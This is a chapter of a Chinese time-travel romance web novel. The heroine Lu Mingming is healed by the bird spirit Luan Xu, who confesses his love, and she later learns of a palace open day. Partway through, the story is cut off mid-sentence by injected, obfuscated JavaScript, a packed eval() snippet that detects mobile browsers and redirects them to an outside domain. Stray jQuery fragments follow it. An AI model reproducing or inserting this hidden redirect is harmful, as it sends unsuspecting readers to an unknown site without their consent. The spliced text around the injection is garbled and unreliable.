陆明明头一次体会到,被禁足也是一种安全。
她捂着脖子回到院子,院门在身后缓缓合上,落锁声传来的那一刹,她强撑着的膝盖骤然卸力发软,险些跪坐在地。紧接着,眼前青光闪过,栾珝施法稳住她的身形,又及时扣紧她的胳膊,将少女打横抱起。
院内寂静无声,只能听见干枯的树叶在风私语,发出簌簌声响。
栾珝一脚踹开屋门,抱着陆明明轻轻放在炕上,便要查看她的伤势。
这一夜,陆明明可谓是“战果丰硕”,膝盖,肩膀和脖子上布满紫红色的淤痕,尤其是肩膀,黑紫与青绿交织,看上去尤为可怖。
可惜没有镜子,陆明明还不知道自己的伤痕有多么触目惊心,不过从栾珝的凝重的神色也能猜出来,恐怕是不太好看。
不过想到今天晚上的成就,她躺在炕上支着双腿,忍不住吃吃地笑了,发丝铺散开成一朵墨色的花。
此时,栾珝正将一颗拳头大的夜明珠挂在房梁上,听见陆明明的笑声,飞身落地,重新坐到她身边,侧头问道:“陆小姐,您笑什么呢?”
陆小姐——好久都没听见这样生疏的称呼了,看来好脾气的小鸟还是生气了。念及他近来表现得不错,还是得哄一哄。
陆明明轻轻拽了拽对方的袖角,小声撒娇:“栾珝,你先别问了,我身上好疼啊。”
这招果然奏效,少年微蹙的眉头无奈展开,叹了口气,双指泛起光芒,点在陆明明的双膝上。凉意混合着丝丝酥麻从栾珝的指尖触及到的地方蔓延开来,陆明明舒服地从喉咙里发出一声满意的喟叹,掌心朝上躺倒,盯着屋顶上的夜明珠发呆。
柔和的光晕将室内的家具都镀上了一层白霜,陆明明拇指上的扳指也迎着珠光,不甘示弱地反射着莹莹绿泽,很快便吸引了栾珝的目光。
他用另一只空着的手撸下扳指,凤眸微眯,捏着其问陆明明,“此物甚是私密,请问陆小姐是从何而来?”
陆明明没来由得感觉到一阵心虚,强逼着与他对视,玩笑道:“成色不错吧?御赐之物!皇帝看我今晚表现好送给我的……”
越说栾珝的嘴角弧度越平,越说陆明明的声音越小。她平躺着蹭过去,趴在他的膝头上,指尖顺着对方的手腕轻轻摩挲,一点点地向着掌心摸过去,试图将扳指重新拿回来,却被栾珝反手扣住。随即少年正在疗伤的指尖的青光大盛,膝上传来的凉意直透进她骨头缝里,刺激的她不由得瑟缩了一下,用力将自己的手从栾珝掌中拔出,一把将不做挣扎的栾珝反扑倒在了炕上。
少女的青丝垂下如帘,将两人隔绝在一片私密的小世界当中。
两人瞬间攻守易位,栾珝虽然被陆明明压在身下,可气势却一点没弱,他歪头斜睨向陆明明,媚眼如钩,眼波潋滟,红唇微启,嗓音像裹着甜蜜一样黏在陆明明的耳膜上,“所以……您可不可以告诉在下,您今晚都在那乾清宫中立了什么功,能让皇帝以私人之物相赠呢?”
温热的吐息拂过陆明明鼻尖,她哪里见过这样勾人的栾珝,脸颊烧得发烫,松开了手。
栾珝却比她更快,他缠过陆明明垂落到自己耳畔的秀发,殷红的唇舌轻轻叼住发尾,另一只胳膊则顺势绕过陆明明的脖颈,掌心贴在肩膀处注入凉意,似是安抚又像是惩罚。
红色与黑色强烈冲击着陆明明的视网膜,她听见自己的心脏在狂跳,慌忙逃开栾珝的怀抱,赌气似的坐起来,“真是的,送你了。”
她将头发重新系好,瞪了栾珝一眼,“你以后不要这样了,你这样我会误会的!”
“误会什么?”栾珝不依不饶,也随之坐起,朝着陆明明这侧轻靠过来,他手掌轻轻抚上陆明明的肩头,隔着薄薄的衣物,少女感受到了对方的温度。
“不要躲开我,我为你疗伤,然后——告诉我好吗?”栾珝的唇轻轻擦过陆明明耳畔,惹得她心里像长了草一样。
“你在这样,我会误会你喜欢我的!”陆明明心一横,闭着眼睛,将答案嚷了出来。
传来的却是一声轻笑,“你怎么知道不是误会呢?”
陆明明闻言,杏目圆睁,不可置信地盯着栾珝的双眸,见对方眼中满是认真,并不像是在开玩笑,艳色的唇开开合合,说着令她大脑宕机的话。
“我以为我表现得很明显了,您竟然才发现吗?”
发现?发现什么?
你喜欢我?为什么?我喜欢你吗?
不是,怎么就发展到这步了呢?
陆明明的大脑里像是有一万头肯泰罗呼啸而过,将她的大脑彻底踏成一片草原,她不由得后退,喃喃问道:“为什么呢?”
栾珝的左手抚摸上少女的脸颊,另一只手则小心触碰着她脖颈上的瘀痕。
“我也不得而知。”他轻呵了一声,与陆明明额头相抵,“对不起,是我有些心急了,以为这扳指是……”
陆明明很想吐槽那你能不能着急点该着急的,比如兽骨什么的,而不是在这吃莫名其妙的飞醋。虽然她并不介意和这位美丽的鸟精谈一场跨时空恋爱,但是此时此刻她还是更想回家,不过氛围到这了,她觉得自己还是不要太不解风情为好。
厮磨之间,栾珝转移了话题,“您今晚到底发生了什么事情?一晚上没陪着您,就有这么多伤,实在是令人后怕,看起来我以后真要寸步不离了。”
说着他的神情逐渐变得冷厉,“今晚那个男人……”
陆明明闻言,顿时感觉自己的身上已经不痛了,肉眼可见的膝盖也已经恢复正常了!于是拿下栾珝的手反握在掌中,将今晚发生的事情经过一番美化之后同他细细讲来,顺带将自己的计划和盘托出。
栾珝听完,沉默片刻,略有迟疑地问道:“所以您的意思是宁可去帝王那里碰运气,也不愿意来和我来商量吗?”
“哪有,我是在想尝试着自己来解决问题,我也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498791|170159||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不能总依赖你嘛”。陆明明安抚栾珝,心里却在默默吐槽。她现在甚至开始怀疑栾珝把自己带到提前的时间点上来,是不是存了私心的,不过从某种角度上讲,她还真是猜对了。
不过栾珝的脸上的表情虽然是不太看好,但他咬了咬下唇,不再追问,只是又检查一遍陆明明身上的淤痕,确定没有残留才放陆明明去睡觉。
不过也有一点好处,可以正大光明地指使栾珝替自己铺床了,不知道栾珝从哪里变戏法似的掏出一床柔软的铺盖,舒服的陆明明只想着马上与周公约会。所以她今晚破例允许栾珝以鸟形睡在自己枕侧,陆明明将鸟窝拽了过来,又往上添了几件衣服,形成一个完美的巢形。
折腾了一晚,又经过栾珝神力的调理,她现在只想快点睡觉。
夜明珠被罩上了一层纱布,室内重新归于黑暗,月色透过窗绢洒在炕上,陆明明侧头便看见山雀团子小小的窝成一团,雀首埋在翅膀下面,身体不自觉地往这边靠来,又伸手重新帮栾珝整了整鸟窝,抬高了靠近炕沿那一侧,防止它半夜掉下去,才带着满腹心绪合上眼。
因此她也不知道,在她睡着以后,山雀团子睁开眼,化为青鸾原型,舒展羽翼,熟练地将自己以一个舒服的姿势埋进少女的颈窝里依偎着。
.
“你说什么?”陆明明扯着嗓子,重复道“再过几天便是圣上钦赐的开放日!”
万贞儿点点头,解释道上次重阳佳节办得两宫太后很是满意,圣上龙颜大悦,于是特批阖宫上下能多来一次开放日,到那时,宫女、太监们既能和家人们见上一面,也能向货郎采买一些宫外的首饰、零食。对于久居深宫的宫人们来说,是天大的好事。
陆明明却恨不能咬穿牙根,事情发展的完全偏离预期了。
按照套路不应是重阳佳宴广受赞誉,朱祁钰对自己是惊为天人,然后将她调为贴身侍女,从此她过上了作威作福,啊不,狐假虎威的日子,自己也能近水楼台,借用便利条件成功找到兽骨,从此栾珝对自己唯命是从吗?
合着扳指不是信物,是奖金啊……
陆明明只恨在人前不能捶胸顿足,面上还要挤出笑容和万贞儿闲聊。
开放日在即,万贞儿是肉眼可见的高兴,连带着手上干活的动作都快了起来,她正为朱见深补着鞋,小孩子爱活动,衣物又按时按季定额发放,时常跟不上朱见深磨损的速度,她面不改色用牙齿咬断丝线,招呼朱见深过来试试。
又转过头问陆明明要不要一起去参加开放日,陆明明以为这也是个机会,既能出去转转,又可以打探打探有没有兽骨的情报。
朱见深听了,忙踩着鞋子过来,仰着小脸问能不能一起去,万贞儿安抚了好一阵,才答应他,她们二人只去半天就回来。
院内一派祥和的气氛,陆明明望着院内四角的天空,天高云淡,群雁南飞,心中不禁暗暗惆怅不知这样的日子还能再过多久。